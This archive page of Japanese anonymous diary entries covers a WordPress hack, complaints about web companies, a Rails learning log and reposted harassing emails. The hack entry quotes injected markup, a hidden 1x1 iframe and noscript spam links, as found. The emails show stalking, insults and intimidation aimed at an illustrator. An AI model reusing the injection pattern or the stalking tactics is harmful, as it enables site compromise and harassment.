JS_PSYME.XP
概　要対応方法感染状況
参　照
ウイルスタイプ: JavaScript
別　名: Downloader (Symantec), TR/Dldr.HTML.Agent.IS (Avira),
感染報告の有無 : なし
言語: English
危険度: 低
感染報告: 低
ダメージ度: 低
感染力: 低
特　徴: Worm generic description

ざっと管理画面からどこか改変されてないかみてみたが見当たらなかった。

プラグインのせいだろうか？

いやそもそもこのSymantecの文字が気になる。

もしかして、ノートン先生をウイルス認定しているのだろうか？

気になる事があるとすれば、

購読者 - (Subscriber)が７名いること。

ユーザー登録してなんになるんだろう。

runPHP狙いだろうか。Subscriberには権限を与えていないので意味がないはずだとおもう。

コメント投稿狙いだろうか。

Akismet はインストールされてから 778 件のスパムを捕らえました。

Akismetがんばったね！！

ま、明日さくっと消しておこう。。。

追記。

わかった。記事の内容が書き換えられていた。

書き換えられていた記事は最後の書き込み。

ニコニコビデオのやつをはったやつだった。

ニコニコ動画のiframeの本来のタグを無効化して違うところを参照するifreameを書いてござった。

<iframe width="312" height="176" src="http://www.nicovideo.jp/thumb/XXXXXX" scrolling="no" style="border:solid 1px #CCC;" frameborder="0"><a href="http://www.nicovideo.jp/watch/XXXXXXX">【ニコニコ動画】XXXXXXXX</a></iframe>

<iframe width="312" height="176" src="http://www.nicovideo.jp/thumb/XXXXXX" scrolling="no" style="border:solid 1px #CCC;" frameborder="0"><a href="http://www.nicovideo.jp/watch/XXXXXXX">【ニコニコ動画】XXXXXXXX</a></iframe>

これが

&lt;iframe width="312" height="176"
<noscript>XXXX（なんかスペイン語っぽい言葉）
 <a href="XXXXX">XXXXXXXX</a>
XXXXXX</noscript>
 src="<a href="http://www.nicovideo.jp/thumb/XXXXX">http://www.nicovideo.jp/thumb/XXXXX</a>" scrolling="no"
<noscript>
XXXXXXXX（上と違う内容）
<a href="XXXXXXX">XXXXXXX</a>
XXXXXXXX
</noscript>
 style="border:solid 1px #CCC;" frameborder="0"&gt;&lt;a href="
<a href="http://www.nicovideo.jp/watch/XXXXXX">
http://www.nicovideo.jp/watch/XXXXXX</a>
"&gt;【ニコニコ動画】XXXXXX(1/2)&lt;/a&gt;&lt;/iframe&gt;

<p&gt;&lt;iframe width="312" height="176" src="

<a href="http://www.nicovideo.jp/thumb/XXXX">http://www.nicovideo.jp/thumb/XXXXXX</a>

"<!-- Traffic Statistics --> 
<iframe src=XXXXXXXX/wp-stats.php width=1 height=1 frameborder=0></iframe>
<!-- End Traffic Statistics --> scrolling="no" style="border:solid 1px #CCC;" frameborder="0"&gt;&lt;a href="<a href="http://www.nicovideo.jp/watch/XXXX">http://www.nicovideo.jp/watch/XXXX</a>
"&gt;【ニコニコ動画】XXXXXXXX(2/2)&lt;/a&gt;&lt;/iframe&gt;

なにがしたいのかわからないが、

なんかもしかしたら３回ぐらい同じ系統で書き換えられてるのかもしれない。

やりかたはさっぱり想像できない。

でも、ここまで記事の内容が差し替えられるのだとしたら、管理者アカウントをのっとっちゃうのが一番てっとりばやいかな。

で、新しく記事が投稿されたのか監視するために購読者登録っと。

そんなところじゃないだろうか。。。

なんだろう。辞書アタックかな？

Permalink | 記事への反応(0) | 03:05

2008-01-09

■mixi ニュースを見ていて

「より詳しいニュースはXXXXにも掲載されております。」

とあるからリンクをたどっても、トップページに飛ぶだけでニュース本文に繋がっていない。

これは仕方なくやっているのか。改良予定はないのかな？

Permalink | 記事への反応(0) | 15:34

2007-12-30

■

楽天ブックスの客を客と思わぬ、一方的な差額請求メールが問題になっているが、

http://blog.livedoor.jp/dqnplus/archives/1073428.html

ネット企業は軒並み成長が鈍化し、利益の捻出に焦っているかのように見える。

その顧客への不躾な態度となって現れる。

ヤフーオークションもしかり。

先日、突然身に覚えのないアカウント停止処分をくらったが、

http://anond.hatelabo.jp/20071210164130

抗議すると、あきらかにテンプレートと思われるメールが返ってきた。

そして６つの質問に答えよという第二のメールがやってきた。面倒ながら答えると1週間ほどして以下の解除メールが送られてきた

---------------------------------------------------------

xxxx 様

Yahoo! JAPANです。

該当のYahoo! JAPAN IDについてはオークション利用停止を解除いたしました。

このメールに心当たりのない場合は、お手数ですが、以下のページよりご連絡ください。

http://ms.yahoo.co.jp/bin/auction-exw/feedback

以上、よろしくお願いいたします。

---------------------------------------------------------

これで終わりだ。解除されるまで3週間かかった。なぜ停止したのか、その理由もなければ、当然お詫びも何も一切無い。他の方の話を見ると、落札直後に停止することが多いらしく、私も落札直後に止められた。解除されても相手の方は不信感ありありで、にっちもさっちもいかない。

しかも取引の成立有無にかかわらず、オークション利用料金等々は全部引き落とされる。

ヤフーも楽天も一度死に目にあって懲りるといい。

Permalink | 記事への反応(1) | 12:01

2007-12-23

■宛先：ピンク ラビット様#2

http://anond.hatelabo.jp/20071223171743

↑#1

＜宛先：ピンクラビット様＞
先日は失礼なメールを送ってしまいすいません、ピンクラビットさま。
「aNgElAlIcE=Group」蒼夢です。
　
有償でいいです、一枚４０００円までは出してあげますよ♪
　
あとこないだのはお兄様だったんですね、東京大学に通っているようで、学校が近くてよいですね（＾＾；
ピンクラビットさまも近所の方に聞いた所、ずいぶん可愛らしい方のようで、会えるのを楽しみにしております（クリスマスとかどうですか？）
　
私の携帯番号を教えておきますね。090-XXXX-XXXX
あと自宅番号こちらです04X-XXX-XXXX
ではお返事おまちしております♪

＜宛先：ピンクラビット様＞
クリスマス、待っていたのに連絡をくれないのは待ってたのに酷いぞピンクラビット！
　
ってまあ待ち合わせもしていないのでSょうがないですね！
でも裏切られた気分です、なん連絡をくれないんですか。
正直裏切り行為です、携帯を教えたのだだから、そちらの携帯も教えるのが常識ですよ！？
あと「トゥーリメンダス（仮）」の他に同時進行の企画があります、
ピンクラビット様にはそちらに関わっていただきたいとおもいます。
　
そちらはネット声優さん達が主人公のオンライン対応格闘アクションなのですが
（私のサイトで声優さん募集しているので知ってるとは思いますが）こちらのカットイングラフィックを３キャラｘ１０枚お願いできますか？
こちらの「椋鳥飛鳥」さん「のえみ」さん（レイヤーとしても有名ですね）「桃羽」さんを担当してください
　
・タイトル「ne-to-seFight」
・ジャンル：ネット対戦ネット声優格闘アクション
　
返事はなるべく早くおねがいします。こちらも暇ではないんで。

＜宛先：ピンクラビット様＞
なんで電話でないんですか？この番号で間違いないですよね？
090-XXXX-XXXX
　
あなたの為に仕事まわしてあげてるのに、本当にもったいないなあ！
知り合いの同人ゲームプロデューサーに紹介してあげようと思っていたのになあ
　
メールでもいいですよ。連絡ください、久村さん。
直ぐです。このメールの受信時間はハッキングしているのでわかります。
受信後３０分以内にｒｒｎ連絡ください

↓#3

http://anond.hatelabo.jp/20071223172244

Permalink | 記事への反応(2) | 17:20

■宛先：ピンク ラビット様#1

＜宛先：ピンクラビット様＞
はじめまして、サークル「aNgElAlIcE=Gruop」総責任者プロデューサー、蒼夢月雫（そうむげっと）と申します。現在高校３年生です。
この度私が企画・構想・プロデュースを始める１８禁RPG ノベルゲーム「トゥーリメンダス（仮）」を作成しておりますが、
現在シナリオと楽曲とキャラクター（ラフと設定はできております。全３０キャラ）とプログラムを募集しております。
　
今回是非、ラグナロックの絵チャットで有名になられているピンクラビット様に「グラフィッカー」として当サークルにメンバー登録をいただけないかと想いメールいたしました。他のメンバーは今増えつつありまして、有名なネット声優の「りんにゃん」様等が参加していただいております。全体で１５人程登録していただいておりますが、あまり多くしすぎてもと思い２０人で打ち切りたいと考えています。
　
今回作成している「トゥーリメンダス（仮）」は伝奇物の世界観をベースにし、私蒼夢のオリジナルフィーチャーを入れ込んで作成する「鈴の音シリーズ」の一つになります。今後続編の予定がありますので末永く登用したいと思っております。
　
基本無料でのお願い（商業化の際は別途印税をお支払いする予定です）なのですが、付きましては契約書をお送りしますので、是非メンバーとして参加いただけませんでしょうか。プロへの踏み台にしてもらって結構ですし、将来、業界への橋渡しも私の紹介でしたいと思っております。
　
なお、公式ホームページ（現在メンテ中です、すいません）ではスタッフの交流の場にしようという予定でして、毎日更新しておりますので是非訪問ください。私自身同人業界にいたのですが、（リーダーの理不尽な要求や、シナリオの逃走など色々ありまして・・・）独立しまして今回の企画をプロデュースに至りました。私のサイトには既に、台東貿でよろずイベントを開いた事で有名な長嶺さんや、月姫 SSで有名なクレープさん等がたまにいらっしゃっていますので、よい刺激になるとおもいます。
　
ここ数ヶ月のブログを読むと、文京区のXXXのXXXXあたりに住んでおられるようなので、ピンクラビット様の学校（たぶんXXXXですよね？）の創立記念日の明後日にお会いしてもいいかなと思いますがいかがでしょうか？（私の方はいつでも大丈夫です）お会いするのが楽しみです。ブログで欲しいと書いておられた無限プチプチをあげますｗ
　
それでは良い返事お待ちしておりますので。

＜宛先：ピンクラビット様＞
お返事ありがとうございます、ピンクラビット様
「aNgElAlIcE=Gruop」蒼夢です。
　
作業は有料でというお話ですが、非常識だと思います。
　
確かに今回の作品はサンクリで発売する際に１０００円で売りますけれど全然関係ないです。
正直あなたの腕のグラフィックはお金を払うレベルではないと思います。
もっとうまい、例えば私の知り合いのだぁくフォレストさんとかが有償で一枚３０００円ぐらいでやってくれると言っています。
そこをピンクラビットさんを登用してあげて、有名にしてあげようと思っていたのですが
そんな事ではこの先チャンスを掴めないですよ。
あと今日ご自宅の前を偶然通りがかったんですが、男性だったんですね。キモオタで頭が悪そうという印象でした。
とにかく、無料でやってくれるのか明日まで待ちますので、メール下さい。

↓#2

http://anond.hatelabo.jp/20071223172024

Permalink | 記事への反応(1) | 17:17

2007-09-27

■[10日でつくるRuby on Rails ]11日目

前回までのあらすじ

[Ruby]10日目

http://anond.hatelabo.jp/20070925223241

id/passの再発行を申請したら届いたのはなんとブログのid/passだった！！

はたして締め切りに間に合うのか！！

はい、間に合うはずもありませんね。

夏休みの宿題は夏休みがおわってからやる主義の増田ですこんにちは。

一応エントリーだけはしておきました。

サービス開始できてないけどな！

今日のRuby（正確には２４時間ぐらいまえの）

next if　　：next はcontinueみたいな感じ。この表記に違和感。

unless　　：こんな書き方にはなにかなじめない。

一行if文が嫌いな増田には余計耐えられない。

@user = params[:id].nil? ? @myuser : User.find(params[:id])

こういう書き方が嫌い。意味わからん。

画像 DB格納で苦戦

正直嵌った。

win 環境がどうのがいけなかったのかと、

あれこれいじってみたのだけど、そうではなかったようだ。

start_form_tagに :multipart => true がぬけていた。

あと、{}で引数位置指定しないといけないんだと…。

http://techno.hippy.jp/rorwiki/?HowtoUploadFiles
http://www.fdiary.net/ml/rails/msg/1375/0/
start_form_tag({:action => 'create'}, :multipart => true)

これは結構やりがちなミスかもしれない。

ちなみに、本のサンプルも間違っていたので余計嵌った。

image_tagで拡張子なしのファイルを読み込むと勝手にpng 拡張子がついてくる。

おかげさまで表示されない。

http://mumrik.air-nifty.com/blog/2007/05/16_r185r186_6.html

どうやら画像ファイルの拡張子が指定されていない URL だと自動的に png として扱うよ、ということらしいので、image_tag のところで url_for( ) した部分に追加修正をしてみる。
url_for(:action => 'xx', :id => 'xx', :extension => '.jpg')

対処療法でしかない。これだとjpgしかできないので正直どうしたものか。

:content_typeを一応保存しているので後から拡張子をつくることもできるが、

きっとなにかいいものがそのうちできるはず！！というかあるはず！！

→時間がなかったのでうっちゃった

redirect_back_or_defaultの使いどころに悩む。

rubyで画像を描画させているばあい、画像にもどってしまうからだ。

この挙動は最初意味わからなかったぜ。

→時間がなかったので最初の画面に飛ばして誤魔化した

テーブルでjoinで名前だけでももってきたいとき、元のテーブルにはどうやって別名つけたらいいんだろう？？

例えば、user名をuserテーブルからくっつけてもってきたい場合rubyは次みたいな

感じになるんだけど、正直気持ち悪い。

@catchcopy_pages, @catchcopy = paginate :catchcopies,
:conditions => contitions_str,
:select => 'catchcopies.id,user_id,users.login,catchcopies.catchcopy,catchcopies.created_at,vote,catchcopies.updated_at,item_id',
:joins => 'left outer join users on user_id = users.id ',
:order => 'created_at DESC' ,
:per_page => 10

ところでSchema.rbとかみるかぎりFKにも指定されていないんだが、大丈夫なのだろうか。

belongs_toとかではそこまでやってくれないものなのか。

ちなみにmigrateファイルでのalterとかの書き方はまだわかっていない。できるのかもしらない。

大会用サーバにアクセスできた

パスワードをメールで送ってもらってアクセスできるようになった！

ftpは公開してないのね…？　FTPあけてくれよ!!!

しかたないのでSSHでアクセス。

われながら情けないが、SSH越しのファイル転送のしかたがわからなかった。

rcpもscpもうまくできない。

これが環境の問題なのか、自分が悪いのか、やりかたが悪いのか、

問題の切り分けがそもそもできないので諦めた。

SSHで向こうのコマンドからrcpを蹴ってるってことはこっちが開けてないとダメってことだよね？

こっち閉じてるもの…。

wgetは生きていたので他のレンタルサーバー経由ファイルを取得。

ちなみにrcpができないのであげっぱなしさ！

が、しかし。unzipがはいってない。

tarで圧縮して、

tar xvf xxxx.tar

unzipがないのでzがつかえない。

フォルダの権限設定などをして、ローカライズ。

せっかく

ENV['RAILS_ENV'] ||= 'production'

みたいなymlがあるのに、

dispatch.cgi

dispatch.fcgi

に書かれた

#!c:/ruby/bin/ruby

を

#!/usr/bin/ruby

に変更しなきゃいけないのは、何かあれだなと思った。

これかえてまわってたら本番とローカルで世代が分岐しちゃうじゃないか…。

ちなみにmysqlのソケットの位置も違うようなので、

/tmp/mysql.sock

↓

socket: /var/run/mysqld/mysqld.sock

をymlに設定。

できればconfファイルのフラグの書き換えだけで乗り換えしたかった。

最近 linuxとかにもめっきり触っていなかったのでコマンド表を一生懸命見た。

witch ruby　でインストールフォルダを割り出したり、

・・・findというコマンドが思い出せないときは情けなかった。

vi コマンドも同様。

そうこうしながら設定完了

本番環境てテスト動作

あれ、動かない・・・500エラーが出てる。

wget経由でdispatch.cgiをそのまま配置したのが原因でした。

中身みたらcgiのエラー出力が書いてあった。

中継サーバで動いちゃったみたい。tarで固めてからわたしなおしましたとさ。

うごいたーー！！

でも、登録すると文字化けしている。

SQLで中身をみる。中身も文字化けしている。

おかしいなぁ……。

SQL>status

DBがlatin1になっていた…。

CREATE DATABASEも権限ないし…。

my.cnfも読み込み専用だった。

alter database XXXX DEFAULT CHARACTER SET utf8;

alter table XXXX DEFAULT CHARACTER SET utf8;

みたいな悪あがきもしてみたけど適わぬ夢。

SET NAMES utf8;

でもコネクションのところあたりでやってあげたいのだけど、

こういうときにRailsみたいなのは何がどこにあるのかわからない。

しょうがないので運営に問合わせしてみました。

ratin1は正直太刀できるきがあまりしない。

感想

unixとかlinuxとかそこらへん全然わからん…。

8日(のんびり)の勉強と2日(ほぼ徹夜)と1日(半日)のサーバー設定で、

アプリっぽいのはできあがった。

が、どうなのさ・・・。RonR

また今度Rubyの感想でもくっちゃべるよ。

[Ruby]タグでもひいておくれ。

なんていうか消化不良。

もっとちゃんとしたものつくりたいな……。

Permalink | 記事への反応(0) | 01:45

2007-09-25

■[10日でつくるRuby on Rails ]10日目

いちおう、ごりごりで作った。ごりごりのものができあがった。

おちから言うと、大会コンテスト用のサーバーにあげようとしたらパスワードが違うようで入れなくて、

再発行しても接続できなくてぼくの夏は終わった・・・

一応エントリーだけしておいたけど、何かむなしい。

ハッ、この隙にもっとつくりこめということかな？？

正直デザインまでまるで手もつけられていないし、画像のUP/EDITもしようとしたのだけど、

一日じゃ実装までいかなかった・・・。

いまだ、いまのうちに・・・！！！

というか、代理でたてたサーバーにうまくUPすることができない…。

オワタ。完全にオワタ。

has_many :XXX, :through XXXX

:throughの使いどころがいまいちピンとこない。指定しておくと何かいいことがあるのだろうか？

全角スペースの混入を視覚的に判別できないだろうか。

一度でも全角スペースや＋をタイプしてしまうと、IDEが内部エラーをおこしてしまう。削除にてこずる。

http://railsblog.drecom.jp/tamu/archive/9

include AuthenticatedSystem

before_filter :login_required, :only => [ :new, :update ] # newとupdateのみログインが必要

before_filter :login_required, :except => [ :index] # indexを除きログインが必要

./script/../config/boot.rb:59:Warning: require_gem is obsolete. Use gem instead.

http://tridentfield.x0.com/blog/?p=34
gem 'rails', version
#require_gem 'rails', version　# 一応コメントアウト

[Ruby]9日目

http://anond.hatelabo.jp/20070925065127

Permalink | 記事への反応(2) | 22:32

■[10日でつくるRuby on Rails ]9日目(徹夜）

Rubyのえーー！？

Rubyは0も1もtrue。

if文の終わりがわからん、{かthenでもいれてくれ…。

find_by_XXX テーブルのカラム名に応じてメソッドできてるとか…どんだけー

クラスの前にちょろんとでてくるprivateがなんかキモイ

redirect_to :action => :list

redirect_to :action => 'list'

下記の書き方がなんか納得いかない

今日の疑問

プラグインやらライブラリやら、ここらへんの権利関係はどうなっているのだろうか？

GPL 感染とかするものではないのか？どうなの？

Taskの使い方、使う場面。IDEでやるぶんには不必要？

XXXX.sendと#{listitem.title}呼び出しの違いがわからん。

IDEで同名のファイルをいくつも開いてると(rubyは特に多い！)わけわからなくなる。パスを表示させる方法はないものか。ポップアップで出てくるのまってられない。

render :partial がうまくうごかん…。なんかわからんが動くようになった…。なんだーーーー！？？？

rhtmlのブロックコメントとかどうやるんだろう？

nil比較も==でいいの？

Run All Testsの使い方

今日のインストール

gem installgettext

→_('date') みたいなラップでRails メッセージを日本語化できる。

ちょっとどうなのよと。

ちなみにhでhtml出力をブロックするラップ。

これも、ちょっとどうなのさ。

application.rbとかで私設の入出力管理のやつをつけなくてはいけないのではないかと思いつつ今日中にそんなところまでたどりつけるわけもないので放置。

他

なんかプロジェクトレベルでやり直ししまくってるので、create databaseしまくり。

だるいのでメモ。

CREATE DATABASE XXXX DEFAULT CHARACTER SET utf8;

copyというテーブルをつくったら、copiesにされた。

yをiに変えてesとか、rubyは複数形の変換も完璧だぜｗ

コンテスト締め切り２５日って、何時までなんだ？もうしめきってるのか？

http://anond.hatelabo.jp/20070924040600

[Ruby]7日目,8日目

Permalink | 記事への反応(1) | 06:51

「XxXX」を含む日記

■「なんちゃってデザイナぁ殿下018」

■奥手な増田にもできる初対面の女性と話す方法。

■僕と韓国

■wordpressには穴があるんじゃないだろうか

追記。

■mixiニュースを見ていて

■宛先：ピンクラビット様#2

■宛先：ピンクラビット様#1